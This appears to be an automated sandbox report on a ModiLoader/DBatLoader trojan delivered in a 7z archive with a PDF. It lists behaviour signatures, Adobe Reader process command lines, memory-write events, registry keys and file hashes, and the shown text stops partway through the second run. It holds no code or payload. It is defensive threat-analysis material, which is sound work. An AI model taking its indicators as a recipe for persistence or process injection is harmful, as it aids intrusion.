Malware Analysis Report

2025-06-16 05:49

Sample ID 240326-hh9n4sdf39
Target 26032024_1445_19032024_CDE_7558497830.7z
SHA256 04659d78d5cf733c14f38ebd82b6e2ada4c583c0f6888782afd7086d9490ea7f
Tags
modiloader trojan persistence
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

04659d78d5cf733c14f38ebd82b6e2ada4c583c0f6888782afd7086d9490ea7f

Threat Level: Known bad

The file 26032024_1445_19032024_CDE_7558497830.7z was found to be: Known bad.

Malicious Activity Summary

modiloader trojan persistence

ModiLoader, DBatLoader

ModiLoader Second Stage

Executes dropped EXE

Loads dropped DLL

Checks computer location settings

Adds Run key to start application

Suspicious use of SetThreadContext

Program crash

Enumerates physical storage devices

Script User-Agent

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious behavior: MapViewOfSection

Suspicious use of SendNotifyMessage

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of FindShellTrayWindow

Suspicious behavior: EnumeratesProcesses

Suspicious use of UnmapMainImage

Suspicious use of SetWindowsHookEx

Modifies Internet Explorer settings

Suspicious use of WriteProcessMemory

Checks processor information in registry

Kills process with taskkill

Modifies registry class

Modifies registry key

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-03-26 06:45

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-03-26 06:45

Reported

2024-03-26 06:48

Platform

win7-20240221-en

Max time kernel

122s

Max time network

125s

Command Line

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\CDE_7558497830\CDE_7558497830\CDE_7558497830\CDE_7558497830.pdf"

Signatures

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Processes

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\CDE_7558497830\CDE_7558497830\CDE_7558497830\CDE_7558497830.pdf"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5 2c2095cc062f5dc13cfbfa50133454d8
SHA1 ff926e8bd73ebfddaf5883f2508628d51e6e5617
SHA256 e324546a6d65fc9869ebc62486fef887b3b8ea6556f1600a1540fc325e256bfe
SHA512 d7cda61a515b0184c4265a14854dfe2dd181452a3a487bab4929377aed5164256b23cf5220f16461198374abbd51cac1f1c920f4407c39cfa107269efbdbd73f

Analysis: behavioral2

Detonation Overview

Submitted

2024-03-26 06:45

Reported

2024-03-26 06:48

Platform

win10v2004-20240226-en

Max time kernel

147s

Max time network

151s

Command Line

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\CDE_7558497830\CDE_7558497830\CDE_7558497830\CDE_7558497830.pdf"

Signatures

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2344 wrote to memory of 3344 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 2344 wrote to memory of 3344 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 2344 wrote to memory of 3344 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 4380 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
PID 3344 wrote to memory of 3408 N/A C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

Processes

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\CDE_7558497830\CDE_7558497830\CDE_7558497830\CDE_7558497830.pdf"

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=4FC347F7043C278EB3443274F231415A --mojo-platform-channel-handle=1740 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=D7902A11204BB084126B8ADDBF7EB1A3 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=D7902A11204BB084126B8ADDBF7EB1A3 --renderer-client-id=2 --mojo-platform-channel-handle=1752 --allow-no-sandbox-job /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=96028A8FBDC28926FDA3384842FA1613 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=96028A8FBDC28926FDA3384842FA1613 --renderer-client-id=4 --mojo-platform-channel-handle=2312 --allow-no-sandbox-job /prefetch:1

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=730CA0C7F939C94583DE15E2B9420A53 --mojo-platform-channel-handle=2348 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe

